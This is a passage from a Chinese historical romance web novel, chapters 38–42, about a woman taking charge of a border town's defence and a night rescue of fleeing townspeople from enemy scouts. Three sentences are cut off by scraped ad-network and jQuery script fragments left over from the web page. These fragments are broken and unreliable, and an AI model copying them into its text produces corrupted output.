萧明汐因为之前在军中不小心暴露自己是女子,所以一直没有上到前线,还被众人指指点点,因此此刻,当年的那份说不出的感觉又涌上了心头,此时自己也僵在原地动弹不得。 然后围观的人群中此时却有人鼓掌的声音,是梁浅,梁浅走出来对着沈从说道:“这沈大侠这招招都是劈砍样式,招招致命的,看着可不像比试,若是到了战场上也有这般勇猛才好呢。” 沈从自然的回应道:“要保卫我们这城中的百姓,自然是要武艺非凡之人才好,我自当用出全力,才能看出对手的能力才是。” 梁浅点了点头,然后转过身来朝县令大人行礼道:“大人,如此看来,这位姑娘文武皆具,又有一份赤诚之心,这护卫之责非她莫属啊。”梁浅抬头偷偷瞧了瞧县令大人的脸色,至少比刚刚缓和许多,又见到院中来了许多看热闹的人。 “相信今日在场的诸位也见识到了这位姑娘的胆识才能,我作为如今身处城中的一份子,若是得她护卫,我自当是放心的,也同样愿为城中百姓肝脑涂地。”梁浅用演讲一般的语气和腔调朝着众人说道。 此时柳烟晴也站了出来,“我也是相信这位姑娘的,虽然我与这位姑娘从未谋面,可大人问到何人愿担此重任时,只有姑娘站了出来,有这份孤勇我相信姑娘定是能担此重任之人。” 在场的不少人,多多少少这段时间都去过医馆,与柳烟晴有过接触或打过照面,见到她为城中时时忙碌的身影,众人多数是心中敬佩的,所以见柳烟晴站出来说了话,众人也都点着头。 然后就是萧家军的老伯还有沈从,都站了出来,此时师爷也说道:“县令老爷,此时城中正是用人之际,那敌军不知道什么时候便会攻来,女子男子又有何异,能保住我们这几日的平安才是……” 县令脸色逐渐转好,萧明汐见到这么多人帮自己说话,自己身上的枷锁仿佛又轻了几分,便鼓起勇气坚定地说道:“卑职定不负所托。” 县令这才露出笑意,“好好,那这几日城中城防大小事宜便都交与你罢。” 明汐坚定地回答,“是。”周围几人都露出了欣慰的笑容,特别是梁浅转身来看明汐时,还看到沈从也十分欣赏地看着明汐,梁浅心中隐隐闪过一丝疑惑,其次便满眼被明汐的笑容占满了。 梁浅走过来,本来打算捡起掉落在地上的簪子,没有想到被沈从抢先一步,沈从拿起簪子递给明汐,明汐笑着接过簪子,便三下五除二的束上了头发。 “多谢沈大侠。”明汐明媚的脸庞在此时才终于得以显现。 沈从用十分稳重的语气回道:“不客气,萧姑娘。” 梁浅和萧明汐顿时变了脸色,神情变得严肃了起来,然后用充满怀疑的眼神看着沈从。 “你刚刚叫她什么?”梁浅咬着牙问道。 39. 第三十九章·告别 意识到自己刚刚的言行有莽撞,梁浅又开启了官方笑容,恭敬的问道:“沈大侠,敢问您是怎么知道她姓萧的,众人明明只叫她明汐明大人。” 沈从听到这话,居然有些心虚了起来,身上的大侠气质倒显得他此刻有些呆,沈从半晌不说话,然后看向一旁人群中的人。 热闹看得差不多了,于是众人都慢慢散开了,沈从看过去的那边只留下了县令大人家的大少爷,梁浅和萧明汐也朝那边看去。 “这不是刚刚递剑给我的大少爷?沈大侠为何看他?”萧明汐有些疑惑地问道。 梁浅看着那个大少爷,越看越觉得有些熟悉,那人也一直回避着这边的目光,在见到对面这人无聊得开始抖起腿后,梁浅意识到自己认识的人,这么吊儿郎当的,就只有…… “无……”梁浅才说了一个字,那个大少爷便冲了过来捂住了梁浅的嘴,然后萧明汐也立即反应了过来,朝县令大人行礼告辞,拿了令牌后便往一旁走去。 大少爷也朝里面喊道:“爹,我也跟着过去瞧瞧,看有没有什么帮得上忙的。” 县令大人皱了皱眉,“你不要添乱就好了。”然后便转身进了屋子。 一行人偷偷摸摸的来到另外的一个院中,见四下并无旁人,捂住梁浅的嘴的那只手这才离开。 梁浅这才大口喘息起来,“你你你你……” “我我我我,我怎么了我?”无面朝梁浅摇头晃脑地说道。 梁浅懒得理他,抱着手站在一旁,萧明汐偷笑了半晌,朝无面问道:“姐姐不是说让你留在城外接应,你怎得偷偷跑进来了,如今还是县令家大少爷的打扮。” “我这不是担心你们嘛,这都几天了,你们一点消息都没有,光让我在城外干等,我等不急便进来了,正好遇到县令家大少爷想出门玩,我便做了这笔生意,在府中假扮起他来。”无面有些傲娇地说着,仿佛几人一直没有认出他的真实身份,让他很有成就感。 “这么说沈大侠也认识阿无?”萧明汐见到沈从对这一切并不感到惊讶,便朝他问道。 沈从点了点头,然后无面先跳了出来,“那当然,这可是我师叔,嘿嘿,也是没有想到,在这里能遇见我师叔,我同他说我认识一个很厉害的年轻人,他说他不信,便来了前堂同你比试。” 沈从这才接着无面的话说道:“萧姑娘,我看你习武有天赋又善于思考,我虽然前些年受了伤,功力大不如前,但是底子经验还是有的,不知姑娘是否愿意做我的徒弟,我定将我所学所知倾囊相授。” 梁浅见这几人这个样子,终于是忍不住了,“大侠,要拜师学艺什么的,等这阵过去再说可好,各位莫不是忘了,我们今日是为何事而来的。” 萧明汐也立刻收回了心思,先向沈从行礼道:“多谢沈大侠,这些事待城中的危机解除后,我们再行商议罢,除此之外,还想请大侠出山,助我一臂之力才好。” “那是自然。”沈从笑着回应道。 萧明汐也立刻正式进入到工作状态之中,“阿无,你将大少爷找回来还给县令家,我还有重要的事情吩咐与你。” 无面也行礼恭敬地听着萧明汐的吩咐,“大少爷无非就在清月楼玩耍,一会儿我换了面庞到县令家门口去报,自然有人会去找的,萧大人有事请吩咐。” 萧明汐轻轻一笑,“好,不过首要的便是想请在场的各位今后都只称我为明汐,不要露出破绽,若让我们想找的人知道我姓萧,怕是会打草惊蛇。” 见几人点了点头,明汐才继续说道,“沈大侠,还请您一会儿与我同去召集这城中的士兵力量,商量守城的对策。” “姐姐,如今我任了这职,想必是忙得脱不开身的,还请姐姐帮我盯着城内城外的百姓情形才好,城中人心可乱不得。”梁浅和沈从得了令便往院子的一旁识趣地走去。 “阿无,这是我萧家的物件,县令虽然派人去上报了情况,但是也得等军令,倒卖军中武器的事还不明朗,且附近的军营我不知有几分可信,所以你尽快处理好城中事宜后,即刻出发前往我萧家军的军营,报上哥哥的名号,将此物呈送给军中的李冲将军,我这里还有一封信,共呈与他,要他速来救援。”萧明汐一脸严肃地看着无面,将东西郑重地交给了他。 无面领了东西,却不像萧明汐想的那般风风火火地出去,而是站在原地,一脸欲言又止的样子,于是萧明汐便出身询问,“你这是怎么了,这件事可耽误不得了。” 无面垂下眼眸,然后说道:“我知道,不过我还有一个东西要给你。” 萧明汐愣了一下,然后便见到无面从怀里拿出了什么东西,拿东西被人小心地拿布包好,萧明汐十分好奇这是什么。 无面展开包着的布,里面是一个木雕小马,萧明汐惊喜地问道:“你怎么把它带来了?” 无面笑着说道:“不是家里那个,这是我这几日在城外闲时做的,送给你。” 萧明汐将东西拿了起来,仔细看了看,确实不是之前那只,这只的花纹更加明显,虽然做工略显粗糙,但是小马的精致可爱还是很难掩盖,让她想起了白雨。 萧明汐注意力都在手中的木雕上,然后嘴里说着多谢,见无面还没有离开,这才打算又移过视线来看他,却未曾想无面竟然一把拉住了她的胳膊。 “明汐,我真正的名字叫做无面……对不起。”无面有些愧疚地说道,想起自己之前骗她和利用她的片段,无面始终不敢抬头看她。 沉默片刻,明汐将手中的木雕小马握在手中,满脸笑意地说道:“好,我记住了,道歉嘛,我也接受,无面。” 无面没有想到萧明汐是这样的反应,只是一下子抬起头来看着她,萧明汐有些困惑地问道:“不过,我倒是好奇,你为何要现在告诉我?” “因为,因为,这一去,我们分别,我知道之后是凶多吉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 少,我不想在最后的时刻,我都还没有告诉你,我的真名。”无面还是拉着萧明汐的胳膊,有些激动地说道。 “放心,我们都不会死。”萧明汐见到无面这表情有些好笑,还是忍住笑意,安慰着他,然后从袖子里拿出了一只耳环,递给了无面。 无面这才放开萧明汐的手,自己也呆呆的看着萧明汐,明汐有些脸红的说道:“我这个人从不喜欢欠别人什么,既然你送了我东西,我也送你个东西……那日出门得急,另外一只不知道什么时候弄丢了,身上只得这一个值钱的物件了。” 无面将东西拿在手中,又小心翼翼的收起来,这时候在一旁的两人终于看不下去了,在一旁咳嗽了起来。 无面这才回过神来,忙朝几人行礼告别,梁浅还是笑着说道:“一路小心啊。” 无面也笑着点了点头,便飞檐走壁的离开了,萧明汐看着无面离去的方向,下一刻就立马就变得严肃了起来,“我们也出发罢。” 三人刚从院门出来,便见到巷口站着柳烟晴,萧明汐上前行礼,“还未谢过柳娘子,明汐在此谢过柳娘子适才帮忙说情,日后用得着我明某的地方,柳娘子尽管说话。” 柳烟晴也走过来还礼,对萧明汐说道:“明大人客气了,如今形势紧急,有明大人这样的人才相护,我想是城中百姓之幸。” 两人边说边朝城门口走去,梁浅和沈从也跟在身后,众人因为事情紧急,明汐又是临时上任,并没有安排车马,所以几人就边走边讨论了起来。 萧明汐朝柳烟晴问道:“柳娘子,说起来这世间竟然有这等巧事,娘子的名字竟然同我姐姐的一样。” 柳烟晴装作很惊讶的样子,“哦,你家姐姐的名字是那几个字,说不定是同音不同字呢。” “烟散天晴。”萧明汐淡然地回道。 “嗐,那这样自然是巧了,我是嫣然一笑的嫣,说不定我们祖上还有亲哩。”柳烟晴糊弄了过去,有些心虚不敢看明汐。 明汐也恍然大悟的样子点了点头,“原是这样,既然有缘,还得请柳娘子帮忙才是,如今全城将开始备战,医馆那边还劳烦柳娘子多费心才是。” 柳烟晴全程礼貌的笑着,同萧明汐商量起若是双方对抗起来,医馆这边应该如何准备,如何应对。 梁浅也在后面和沈从聊了起来,“沈大侠,敢问您来县令府中有多久了?” 沈从抱着他的那把剑,半晌才说,“不过三月罢。” “那沈大侠,这府中人来来往往,不知您是否有新来的可疑男子到府中?”梁浅还是不忘找王二的事情,能打听一个打听一个。 “嗯,不就无面那小子,别的我也从来没有注意过。”沈大侠悠闲的走着,梁浅听到这也知道了沈大侠果然不食人间烟火,识趣的点了点头便没有再说话。 几人到了城门口,士兵中的几位小队长已然得了信到城墙下汇合,“见过明大人。” 40. 第四十章·你来了 萧明汐丝毫不怯场,立即让几位队长去将未站岗的士兵都寻来,与众人讲明现在即将遭遇的险境,便有条不紊地安排起来。 “接下来就按照我刚刚的安排,各位站到自己分配的小队长身后。”明汐站在台阶上看着众人,梁浅坐在一旁当起了文书,记录起了各位的名字。 “好,接下来,我为各位安排起今日之事,一队,今日出城将城门口的野草全部除尽,若是敌军兵临城下,也不能让他们的马儿有这补给粮草可用。” “二队,在城中向百姓借用水缸等一应能够用得上的军需备用,借用都需要一一记录下来,届时我们还要原物返还,不可强取强抢。” “三队四队,加强城防巡逻,一切不可懈怠,十二个时辰各个大小城门都要有人看守,非得令者不得妄自擅出。” “五队的几人,即刻出发,走捷径在县尉一行人到碧峰县之前截住他们,寻找时机烧了敌军在碧峰县的粮草,断了他们后路,路上若遇到敌情,不可轻举妄动,即刻来报!” 下面的士兵纷纷应是,然后便由队长带着去做事去了,而梁浅此时也将文书整理好交到了萧明汐的手上,萧明汐也安排了人给梁浅和沈从,方便二人行事。 梁浅随后便跟着二队的队长一同去问百姓借东西去了,一是军中识字的少,所以梁浅便负责记录誊录,二是梁浅心想,这不就是一个千载难逢寻找王二的机会嘛,不可就此放过才好。 因此就只就下萧明汐同沈从商量了起来战术对策。 “沈大侠,依你看,敌军会什么时候会到此处?”萧明汐一番将军风范,倒是让一旁的沈从有些惊讶了,没有想到面前这个姑娘小小年龄,竟然能如此果断的做出这番判断。 所以沈从只有依照这些年自己混迹江湖得出的经验,和萧明汐讨论着,“若是能连拿下两县,那定是人数不少,若拿下碧峰县之后,定是会尽快来到此地的,因我听着他们此次是打着山匪的名号,蒙蔽了众人,定是要以极快的速度来攻我们的,若是按照脚程,想必明日便能到这附近。” “明日……”萧明汐嘴里喃喃说着。 * 梁浅忙了一整天,到了黄昏十分这才因为看不见写字才终于“下班”,想着坊中还有些自己和明汐东西,打算一起带到城墙下临时安排的办公场所去,便先回到了坊中。 结果进到房间,房中只有小十一和婆婆坐在一起,婆婆正在缝补衣裳,小十一则乖巧地坐在一旁玩自己抓来的蟋蟀。 梁浅进了房中和两人打了招呼便开始收拾起自己的东西,小十一则走了过来歪着头问道:“哥哥,你也要同明汐姐姐逃走吗?” 梁浅皱着眉头有些疑惑地看向十一,“也?十一,你是说谁逃走了吗?” “就是黎嫂他们家啊?黎嫂说见城中的士兵集了起来,众人都说这个城定是也要被破了,所以和其他几家着急的收拾了东西,说要等天黑贿赂西门的士兵逃出去,不然定是活不下去的。”小十一说道。 “那十一你为何不和他们走?”梁浅有些好奇地问道。 “今日我和婆婆也出门了,我见到那台上站的是明汐姐姐,一旁的文书是你,我便知道你们不是普通人,我相信你们能守得住这城,况且逃,又能继续逃到哪里,此处为我提供庇护之所,我连你们的恩情都没有还,我又怎会离开?”小十一俨然一副小大人的模样。 梁浅欣慰的笑了笑,“那你好好和婆婆待在一起,我们会保护好你们的,话说黎嫂他们走了多久了?” “约估摸有一个时辰了,城中加强了城防,想必他们还是得天黑才敢出去。”坐在一旁的婆婆说道。 梁浅站起身行礼,“那就还请婆婆照护好孩子,你们多保重,我们可能暂时不得空回来了。”然后梁浅便将自己身上带着的吃食和一些银两递给两人,才着急地往坊外跑去。 * 还好刚刚跟随梁浅的几人说怕梁浅拿不下东西,便都候在门口,梁浅便立刻和几人说道:“叫上一旁巡视的那队人,拿上家伙与我一同去西门。” 路上一个看上去五大三粗的士兵大块头大着胆子问起梁浅,“头儿,我们去西门作甚?” “有人要偷逃出城,我们得去追。”梁浅回应道,眼神始终盯着前方的路,头都不曾偏。 “城中是有谣言,他们想逃出城再寻生机不是寻常?为何我们还要拿上家伙追去,虽说违令确实得受罚,但是这也太重了罢。”小个儿有些疑惑地问道。 “想必明日敌军的大部队就会到,那今日他难道不会派人先来探查城中境况?若是贸然给他们开了城门,西门外林树众多,还未布防好,他们一出去不仅可能成活靶子,还可能被抓成人质受尽折磨,你说我们追是不追?”梁浅还是耐心的同几人说着几人听懂缘由,便不再说话,安心跟在梁浅身后赶路。 可梁浅还是来晚一步,刚到城门口,看守的人才刚将城门关上。 梁浅骑着马,一时压制不住心中的怒火,“是谁让你们开门的!今日城中下的令你们是都当摆设的吗!” 一旁的大块头也大声喝到:“玩忽职守,该当何罪!” 刚刚关门的几人吓得忙跪在地上磕头,梁浅着急地说道:“还不快把门打开!” 见到梁浅手中的令牌,几人又连滚带爬的去把门打开,梁浅忙带着人骑着马出去。 * 黎嫂今日听得街上的人议论,说如今这城也是要戒备起来了,于是想起那日在骇人场景,心中不免一惊,回去同坊中好几家人说了,若是此城守不住,只怕是比那日还惨,与其在城中坐以待毙,还不如离开,所以最后决定还是提前离开此城,可是他们不知道具体的情形,只当敌军还在千里之外,自己能顺利逃脱。 黎嫂一行人凑了些钱贿赂了守卫,便悄悄地出了城,因不敢惊动城墙上的守卫,所以黑夜之中都不敢点起火把,只是几人拿着火折子带着人前行。 可刚离开城门没几步,离了最后一束城中的火光,黑暗便侵袭而来,孩子被黑暗吓得哭泣起来,妇人连忙哄着孩子,没有看清路的人摔了一跤,哎哟的叫了出来,众人的神经高度紧绷,此时也有人打起了退堂鼓,可此时想出来容易,想再回去却难了。 一阵冷风吹过,几人手中的火折子也熄灭了,众人的恐慌达到了极点,都悄声不敢发出动静。 忽而林中亮出一火把,众人朝光亮处看去,却没有想到一只箭就这样射到了队伍中。 一位男子胸膛中箭,当时便流血倒了下去,众人被吓得四散奔逃,大部分人还是又往回跑去,黎嫂也在其中。 黎嫂俨然是被这阵仗吓到了,只是死死抱着怀中的孩子,远远看到紧闭的城门便心凉了半截,没有想到草丛中不仅藏着弓箭手,更有好几个人凶神恶煞的站了起来,黎嫂没有看清脚下便抱着孩子倒了下去,心想今天怕是就交代在这里了,于是紧闭着双眼等待着那一刻的来临…… 忽而城门大开,一直弩箭正正射中了要朝黎嫂劈砍而来的敌人,黎嫂抬起头,是梁浅带着人冲了出来,梁浅大声喊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道:“杀敌救人!” * 梁浅的箭术虽比不上萧明汐,可是刺客行当干了许久,小巧的弓弩还是用得十分熟练的,梁浅猜的不错,方曦国的人已然摸到了城墙下了,若是再晚一日戒备,怕是下场和其他县并无差别。 梁浅带的几人丝毫不惧,立刻冲上前将近旁的敌人砍杀,梁浅也带着人迅速赶到百姓近旁,将人都带回到城中。 当梁浅来到黎嫂面前时,黎嫂瘫坐在地上,怀里的孩子吓得哇哇大哭,梁浅忙去拉黎嫂起来,没有想到黎嫂的腿已经软了,站不起来,于是梁浅就先将孩子抱了起来,然后又去拉黎嫂,梁浅将黎嫂扶到光亮处,便有城中的士兵来接,梁浅便将孩子交了过去,又转身去寻其他人。 黎嫂拉住梁浅,用嘶哑的声音说道:“谢谢,我……” 梁浅拍了拍她的手安慰道:“别怕。” 然后又转身带人追了出去,藏在林中的弓箭手一直变换着位置,令梁浅很是头疼,带着人点着火把无非就是活靶子,只能提醒众人小心戒备。 当城门口这一波厮杀结束,林中又只剩下几人的脚步声和身后士兵身上的木甲碰撞的声音,忽而听得前方传来惨叫声,几人忙冲赶上去。 梁浅用出最后一只弩箭射杀了正要袭击的敌人,几人冲上去同草丛中暴露的人打斗起来,最后的两人忙护送百姓离开,梁浅也走到近处用自己的匕首同人拼斗起来。 那人的力量明显要强于梁浅,况且今日事发突然,对方身上都是盔甲,梁浅反而没有穿什么装备,所以两人交手下来,梁浅身上受了不少外伤,最后梁浅被打倒在地上,仍然挣扎着爬起,正好摸到怀中刚刚回去收行李顺手放在腰间的毒药,便冲对方丢了出来,对方虽然被迷了眼睛,却仍朝梁浅这边压来,梁浅心一横,便拿起匕首朝那人的脖颈刺去…… 梁浅脸溅到不少血迹,忍不住的闭眼,这是她第一次这么残忍地亲手…… 顾不得自己神伤,梁浅快速理好自己的心绪,见到身旁的小个儿士兵还与敌人缠斗,便冲了过去,用匕首将其一击毙命。 “撤!”梁浅见百姓往里面撤了进去,眼前的危险也暂时消灭,于是梁浅便带着众人撤离。 因为刚刚与那人缠斗,梁浅和小个儿到了远处,于是梁浅便留下来断后,可是没有想到草丛中伸出一只手抓住了梁浅,梁浅一惊,本来想用自己手中的匕首刺过去,却没有想到草丛中露出了一个孩童的脸。 原是刚刚混乱,众人四处逃窜,孩童才躲到了此处,梁浅便打算弯腰将孩子抱了起来,也因此落了单,队伍距离梁浅有些距离了。 梁浅才将孩子抱起,却没有注意到暗藏林中的弓箭手已经瞄准了她…… 只听得有人骑马赶到近处,一直冷箭射出,那人飞身下马,用手中的剑击飞暗箭,挡在梁浅的身前,那人也带了一队人赶了过来,朝刚刚射箭的地方探查去…… 此时小个子也注意到梁浅没有跟上来,忙喝了前面的人回来,周围的火光逐渐照亮了梁浅的眼前,眼前的人也转过身来,着急的看着梁浅,“你怎么样了……怎么受了伤?” 那双眼睛疼惜的看了看梁浅身上的伤,又才看向梁浅,梁浅的眼睛对上他的眼睛,才终于确认,是他,不知为何,梁浅此刻竟然有点想哭,这些日子自己尽量让自己不去想京城,不去想以前,不去想他,可是当他站在自己面前,自己才意识到,自己竟然一直想着他,想见他。 “你来了……明渊。” “嗯,我来了。” 41. 第四十一章·她的另一面 萧明渊看向满身是伤和血迹的梁浅,伸出手将梁浅脸上的血迹轻轻擦去,然后看到她眼中好像闪动着泪光,终于忍不住将她抱在自己的怀中。 萧明渊带来的人都很有眼力见的齐刷刷转过身去,就连刚刚抓到的那位弓箭手也被万星带着朝外跪着,而梁浅带来的人,先是没有反应过来,大个子和小个儿是一对兄弟,小个儿见到这幅场景先是吃惊地睁大了眼睛,之后也是反应了过来,拉着大个子往后退了几步。 梁浅被萧明渊一把抱进怀中,先是愣了片刻,感受到他的温暖这才回抱了回去,这份温暖就好像自己才穿越过来时遇到的那个人一样,萧明渊在自己失忆后好像也这样抱过自己,好像是同样一份寒冬中怀抱过来的温暖。 两人都沉默着,只是萧明渊越抱越紧了,于是梁浅刚刚怀抱的小孩因为萧明渊抱得太紧,被挤得哭了起来,两人忙分开看向梁浅抱着的孩子。 见萧明渊脸上有些尴尬,梁浅不禁失笑,没有想到他还会有表情,平时不是一脸运筹帷幄还和自己相敬如宾的样子,如今也会有惊慌的样子,梁浅哄了哄孩子,萧明渊见梁浅一身的伤,便伸手将孩子抱到了自己怀中,才命令众人跟着撤退。 萧明渊的个子很高,今天又穿的是一身黑衣,显得怀中的娃娃更加小了,萧明渊也一改才见面时的冷俊表情,笨拙地哄着被自己刚刚的拥抱挤哭的小孩,梁浅则偷笑着走在前面。 大个子小个儿走在前面,大个子一脸疑惑的样子,对着小个儿说:“兄长,你说这头儿和他兄弟感情真好,还专门来这里帮他。” 小个儿跳起来打了打大个子的脑袋,没好气的说道:“我的傻弟弟,你是真没有看出来呀,头儿会和人家是兄弟?我俩个是兄弟,何时这样抱过?”小个儿边说着还边用手比划模仿刚刚萧明渊抱梁浅的样子。 大个子挠着头,“我们兄弟没有这样抱过,不代表别家兄弟不会这样抱哩,这说明兄长和我感情还不够深。”大个子一脸认真说道,显然还没有理解到自家兄长的意思。 小个儿翻了翻白眼,摇了摇头,然后朝着大个子招手,示意他俯身下来听自己说话,“你没有看出来咱这个头儿是女子呀,那显然是人家夫君来寻她了,你个笨人!”小个儿压低声音说道。 大个子吃惊地睁大眼睛,差点就要说出声来,他哥哥忙捂住他的嘴,拉着他往前走去,时不时转头偷看身后的梁浅和萧明渊。 看到小队中的各人都没有在意自己吃惊的样子,又看了看梁浅满脸笑意的样子,大个子这下才终于领悟到,“所以兄长,你们都看出来了?就我没有。” 小个子有些得意得朝他说道:“你可长点心吧,大家只是心知肚明不说出来罢了,你也莫要惹事,咱认真做事就是了,头儿又认识字,身手也好,是个善心的娘子,管她是男是女,咱跟着混就是,准没坏处!”大个儿跟着点了点头。 进了城清点了人,这才又将城门关上,守卫这才上前,到梁浅身前行礼,颤颤巍巍的回复道:“回,回大人,刚出城门的是六家人,总十五人,一人身死,几人伤的有些重,其他的也都回来了。” 梁浅淡淡地听他说完,然后眼神犀利的看着这人,“确认过了?记得这么清楚?” 守卫刚刚可是见到这一队人的勇猛,丝毫不犹豫的将草丛中的人斩杀,面前这位也丝毫不简单,所以不敢隐瞒,忙回道:“小的刚刚收了他们的银两,一,一人一两银子,所以记得清楚,小的知错了,还望大人恕罪。” 梁浅轻哼一声,翻身骑上马,“将钱财都还给人家,把你的俸禄补给身死的那人家,而后去找县尉大人领罚。” 那人颤颤巍巍道是,然后便站起身去还银子去了,梁浅这才又转头朝小个儿说道:“你们将人都送去医馆,重伤者小心看护,在城中寻个阴凉之处放身死之人的尸首,待到能出城之日再送出城去安葬,不可懈怠,弄好之后来回我,听明白了吗?” 只听得刚刚跟随梁浅的几人站在一起回道,“明白”,然后便转身去看查众人去了,梁浅的眼神不经意从黎嫂身上扫过,见她只是头发乱些,但是并无外伤,也放心了许多。 黎嫂也注意到了梁浅的眼神,抬起头与她对视,然后拉起自己的孩子远远给梁浅磕了一个头,只是因为自己上马容易下马难,也不想再惊动太多人,梁浅见状郑重地朝那边行了礼,看到黎嫂感激的眼神,笑着点了点头便牵着马转了身,这才看到一直在看自己的萧明渊。 * 萧明渊刚刚抱着孩子一直走在梁浅身后,看着她的背影,不禁联想到前些日子那个在萧府和自己打打闹闹的女子,明明她的背影看上去那么瘦小,可是刚刚救人杀敌却那么果断,这份勇气让自己也心生敬佩。 因着自己小时候同母亲一道生活,早些年压根没有真正见过什么生死之事,只是听得父亲母亲说上阵杀敌,却没有什么实感,直到母亲走了,自己才仿佛一夜长大,可是当自己真正进了军营,上了战场,自己心中也有一份恐惧真正笼罩在自己身上。 像她这样女子,竟然在直面困境之时如此坚毅,想起第一次上战场的自己,自愧不如。 进了城,小孩的父母见到孩子泣不成声,忙冲上来抱走孩子,同自己连连道谢,萧明渊只是笑着点了点头,然后指向梁浅说道:“不必谢我,那位才是救了孩子的人,要道谢朝她道谢才是。” 一家人又朝梁浅跑去,冲她磕头,梁浅忙拉起几人,不知道梁浅笑着同他们说了些什么,几人听得连连点头道谢,而后便走开了。 只见梁浅转变神态,立即严肃地朝守卫问责,萧明渊还是第一次见到她的这一面,严肃认真,语态平和,却又十分有压迫感,片刻便将事情处理好,将局面稳定了下来,萧明渊心中有些疑惑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,她这几日经历了什么,成长得如此之快,可是转念一想,或许她一直是这样,只是自己没有发现,之前甚至是没有想去发现的想法,只是自顾自的只看到她作为妻子的那面…… 见到梁浅熟练的翻身上马,潇洒自如,萧明渊这才意识到,自己之前真是浅薄…… * 梁浅刚刚安排事情,一直不敢朝萧明渊这边看,生怕和他对上眼神自己会破功,自己今天辛辛苦苦营造的领袖形象可就没有了,终于在处理好事情之后松了一口气,骑着马走到站在一旁一直在偷看自己的萧明渊身前。 梁浅有些俏皮地说道:“这位哥哥,多的马匹可没有了,可愿与我同乘?” 萧明渊眯了眯眼睛,心中暗想,没有想到几日不见,她倒是变得更加有趣了,挑了挑眉,然后笑着说道:“当然好,只是不知兄台马术如何?” 梁浅忍住笑意,有些傲娇地回道:“自然不会让你失望的。”于是便朝萧明渊伸出手来。 此时身后城墙下灯火通明,众人清点着伤情,小个子找了几个推车来拉人,大个子索性直接背起受伤之人就要往医馆冲去;大人安抚着孩子,犯事的守卫忙着还钱,竟然还有人与其争论了起来;其他守卫去寻了水和吃食来安抚受惊的人,萧明渊的人则押着抓到的弓箭手黑压压站了一片。 萧明渊此时看着骑在马上的梁浅,身后远处的火光照得看不清她的表情,自己也站在没有火把照亮的黑暗处,可是她还是看到自己了,想看到她的脸,想看到她的笑容,想听到她的声音。 萧明渊伸出手,梁浅没有怎么用力,萧明渊便翻身上了马,坐在她的身后,此时他终于瞥见她的表情,她是笑着的。 梁浅骑马带着萧明渊往城中赶去,留下万星月银带着人看着两人离开的背影面面相觑,万星同月银站在一起说道:“侯爷夫人是不是把我们忘了?” 月银冷冷的嗯了一声,然后万星也跟着摸着下巴嗯了一声,然后才反应过来,“完了,那不赶紧追上去?!” * 因白日里明汐吩咐了,城中接下来要节省物资,所以城中除了城防上照得亮,城中的街道上倒是隔得很远才有火把,只靠的些许月光行路,所以梁浅也骑得慢了些。 萧明渊一只手轻轻抱着她的腰,胡思乱想着,这盈盈一握的腰……一想到这里,萧明渊脸上有些发烫了起来,原本还贴着梁浅的后背,此时只是向后挺了挺,不敢再靠近她。 梁浅忙着看路,萧明渊抱上来的时候,自己是紧张了一会儿,但是后来忙着赶路便转移了注意力,原本没有在意的,结果慢慢感觉身后这人的体温有些发烫,心中也疑惑了片刻,而后便强制让自己的注意力又回到前路上去。 结果就在梁浅深呼吸,准备全身心骑马赶路的时候,耳边忽而传来萧明渊的声音。 “我想你了,你可想我?” 42. 第四十二章·包扎伤口 梁浅被萧明渊没厘头的一句话弄懵了,梁浅心想这人莫非是吃错什么药了,又问得那么突然,但是并未放慢步伐,只是有些敷衍地回了一声嗯,便继续又往前走着。 梁浅心里其实还是有些疑惑的,萧明渊这话究竟是真心的,还是在试探自己,莫非他在京城又查出了什么?还是又发生了什么事? 确实自己到现在都没有认真想过这个问题,也一直在回避这个问题,只是想着能装一天是一天,可是今天见到萧明渊,仿佛之前和他相处的记忆也涌现了上来。 也是因为有些纠结,不知道怎么回应,身后的人也没有再说什么。 梁浅心里胡思乱想着,目的地也不一会儿就到了。 萧明渊先下了马,然后伸手想要扶梁浅下来,梁浅见此处也没有好下马的地方,便也伸出了手。 就在两人这里扭扭捏捏的下马的时候,远处的柳烟晴看到这幕眯起了眼睛。 两人将马儿拴好后,进了门后,梁浅仿佛听到了万星的声音,只不过见跟在后面的萧明渊也没有什么反应,便以为自己是听错了。 两人往堂内走去,只见堂中此时只有身穿甲胄的一人背对着站在桌子前,梁浅淡然走上前行礼,“见过大人。” 萧明汐这才转身,先是朝梁浅说道:“姐姐,你我不用这些虚礼。” 然后看到了站在一旁的萧明渊,惊讶地说道:“兄长!” 萧明渊先是有些惊讶然后很快就肯定的看着明汐,满眼欣赏肯定,笑着点了点头,然后萧明汐便看到了满身是伤的梁浅。 “姐姐,你这是怎么了?怎么受了这么多伤。”萧明汐拉着梁浅关切着急地说道。 “我这都是小伤,不必担心,倒是眼前的事情更加重要,方曦国的探子已然摸到了我们城门口了,我们得好好商量一下如何应对才是。”梁浅一脸严肃,拉着明汐走到桌边看着地图。 “所以姐姐你的伤是他们伤的?这到底是怎么回事?” 梁浅简要的概述了一下今天晚间发生的事情,萧明汐听完这件事情的经过,也不禁皱起了眉头,低头思索了起来。 梁浅这时候才想起问站在一旁的萧明渊,“对了,你又如何会到此处的?” 这是萧明渊也从刚刚倚在桌子上的样子立刻站直,又故作正经地回道:“自从你们离开,我不放心,便派了人跟着你们,后来见你们进了城,我的人也回来报说边城有异,故向陛下私下请了旨,说来此处追查真相……今日的那队人今日早些时候便被我盯上了,不过我们人数有些多,所以被他们察觉,这才晚了片刻……” 梁浅见萧明渊陷入了自责,梁浅便想起身安慰他,结果一不小心起得猛了,扯得身上的伤口痛,不禁嘶了一声。 于是萧家兄妹二人都赶紧拉起梁浅,关心着梁浅的伤情。 “姐姐,还说不严重,都渗出血了。”萧明汐朝梁浅说道,然后看向自己同样关心但是一句话不说的哥哥,叹了叹气。 “嗯,偏房有一些外伤的药,姐姐先包扎一下再说罢。”萧明汐说道。 梁浅见伤口确实比自己想象的还严重些,便点了点头,“好,那明汐你同我一起去罢。” 明汐正打算扶起梁浅往外面走去,却没有想到有人来报,先是梁浅今天抓的守卫来了,要如何处置,又是万星带着弓箭手到了门口,问要在何处审这人,还有沈从也带着他从县令府中要来的城建图来了,一时萧明汐便脱不开身。 